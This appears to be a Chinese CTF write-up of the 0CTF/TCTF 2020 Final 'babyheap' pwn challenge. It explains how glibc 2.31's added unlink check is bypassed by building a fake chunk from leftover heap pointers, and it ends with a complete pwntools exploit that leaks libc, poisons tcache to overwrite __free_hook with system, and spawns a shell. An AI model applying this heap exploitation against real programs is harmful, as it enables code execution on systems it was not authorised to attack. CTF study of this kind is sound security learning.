[TCTF/0CTF 2020 Final] babyheap 复现writeup及分析
原writeup把思路写得非常详细,这里不赘述了,提取一些巧妙的攻击思路分析和学习就行
https://hxp.io/blog/77/0CTF-Finals-2020-babyheap/
前置
原题当时看了一下不太有思路,没有继续写下去。这题用了比较新的Glibc2.31,所以很多机制不太一样,利用手段需要改进,所以题面才会说“要更新你的技巧了”(好real的pwn,我喜欢,虽然我不会...)
unlink手段变化
原先(以Glibc2.27举例)利用unlink只需要满足如下三个条件:
- chunksize(P) != prev_size (next_chunk(P)) [注意这条]
- FD->bk != P || BK->fd != P
- P->fd_nextsize->bk_nextsize != P || P->bk_nextsize->fd_nextsize != P
所以,伪造的free_chunk的nextsize
并不需要和被free的chunk的prevsize
一样,这就导致了利用较为简单。但是Glibc2.31在向前合并过程中,unlink之前,添加了如下检测条件:
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
所以如果上述nextsize
和prevsize
不同就会触发报错。这题的关键在于巧妙地构造“正常”的unlink过程,也就是在被free的chunk和被合并的chunk之间不夹带其它的chunk构成overlapping。但是因为chunk_info结构体在一段随机内存段上,不方便直接构造fd和bk,那么fd和bk就只能从被free后放入unsorted_bin产生的指针构造。but如果free即将被合并的chunk以产生fd, bk又和我们的目标——构造overlapping 背道而驰...
然后就引出了原writeup作者的方法
巧妙构造overlapping
既然fd和bk不能直接通过free产生,那可以尝试使用一些“遗留”在堆内存上的指针——即换个思路,不直接伪造fd和bk,而是尝试伪造chunk头部的位置。
文章给出了一种利用“遗留”指针构造fake chunk的手法:
- 第一步
- 分配两个同样大小的堆块,size要大于smallbin范围以保证free后能直接进入unsortedbin
............... - chunk A | | | | | | ............... - chunk B | | | | | | ...............
- 第二步
- 释放他们使得两个堆块合并
- 此时位于高地址的堆块指针“遗留”在了堆内存上
............... | (header ) | | (new ptr) | | | | | | | | (old ptr) | | | | | ...............
- 第三步
- 对已经合并的堆块重分配,大小要把
old ptr
包括在内,以便于伪造堆头
............... | (header ) | | (new ptr) | | | | | | | | (old ptr) | ............... | (header ) | | | ...............
- 对已经合并的堆块重分配,大小要把
- 第四步
- 伪造堆头
............... | (header ) | | (new ptr) | | | | | ............... | (fake H ) | | (old ptr) | ............... | (header ) | | | ...............
- 第五步
- 伪造更高地址位置的prev_size和prev_inuse位,这里比较简单,可以通过夹一个小堆块然后溢出构造实现
............... | (header ) | | (new ptr) | | | | | ............... | (fake H ) | | (old ptr) | .................. | (header ) | | | | | fake chunk范围 ............... | | (help ) | | <-溢出这个堆块构造下面的堆块(offbynull) .................. | (header ) | <-伪造prev_size和prev_inuse位 | | | | ...............
- 第六步
- free掉最高的块触发unlink
- 此时一部分可控区域就被包含在了新堆块里面
............... | (header ) | | (new ptr) | | | | | ............... | (header ) | | (old ptr) | | | | | | | | | | (help ) | ................ | (header ) | | | | | ...............
- 第七步
- 尽情利用这个成果,通过uaf的方式,既可以泄露libc地址,又可以构造tcache attach去修改某地址上的值...
exp
python3
from pwn import *
p = process("./babyheap")
libc = ELF("./libc.so.6")
context.log_level = "debug"
def add(size:int):
p.recvuntil(b"Command: ")
p.sendline(b"1")
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
def update(idx:int, size:int, content):
p.recvuntil(b"Command: ")
p.sendline(b"2")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
p.recvuntil(b"Content: ")
p.send(content)
def delete(idx:int):
p.recvuntil(b"Command: ")
p.sendline(b"3")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
def view(idx:int):
p.recvuntil(b"Command: ")
p.sendline(b"4")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
def go_exit():
p.recvuntil(b"Command: ")
p.sendline(b"5")
def exp():
#overlapping
add(0x508) #0 fd
add(0x48) #1
add(0x508) #2 extend
add(0x508) #3 setup
add(0x18) #4
add(0x508) #5 bk help
add(0x508) #6 bk
add(0x18) #7
#gdb.attach(p)
delete(0) #del0
delete(3) #del3
delete(6) #del6
delete(2) #del2
#gdb.attach(p)
add(0x508) #0
add(0x508) #2
add(0x530) #3 fake chunk
#gdb.attach(p)
delete(2) #del2
delete(5) #del5
#gdb.attach(p)
add(0x4d8) #2
add(0x530) #5
add(0x4d8) #6
#gdb.attach(p)
delete(0) #del0
delete(2) #del2
#gdb.attach(p)
add(0x508) #0
add(0x4d8) #2
#gdb.attach(p)
#build fake chunk
payload = b" "*0x508 + int(0x531).to_bytes(7, 'little')
update(3, len(payload), payload)
payload = b" "*8
update(0, len(payload), payload)
# prepare fake header and correct pointer
payload = b" "*0x4f8 + p64(0x521) + p64(0) + p64(0x511)
update(5, len(payload), payload)
#gdb.attach(p)
payload = b" "*0x10 + p64(0x530)
update(4, len(payload), payload)
#gdb.attach(p)
# merge fakechunk to overlapping
delete(5) #fd: 0x0000555555559490 bk: 0x000055555555a940
#gdb.attach(p)
#get the part near idx3
#make a glibc_addr into idx2
add(0x28)
#leak
view(2)
p.recvuntil(b"Chunk[2]: ")
libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
libc_base = libc_leak - 0x1ebbe0
system = libc_base + libc.symbols[b"system"]
free_hook = libc_base + 0x1eeb28
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
print("free_hook:", hex(free_hook))
#tcache attack to rewrite free_hook
add(0x28) #8
add(0x28) #9
delete(9) #del8
delete(8) #del9
payload = p64(free_hook)
update(2, len(payload), payload)
#gdb.attach(p)
add(0x28) #8
add(0x28) #9
update(9, 8, p64(system))
gdb.attach(p)
#free idx8 to call system("/bin/sh\x00")
payload = b"/bin/sh\x00"
update(8, len(payload), payload)
delete(8)
p.interactive()
if __name__ == "__main__":
exp()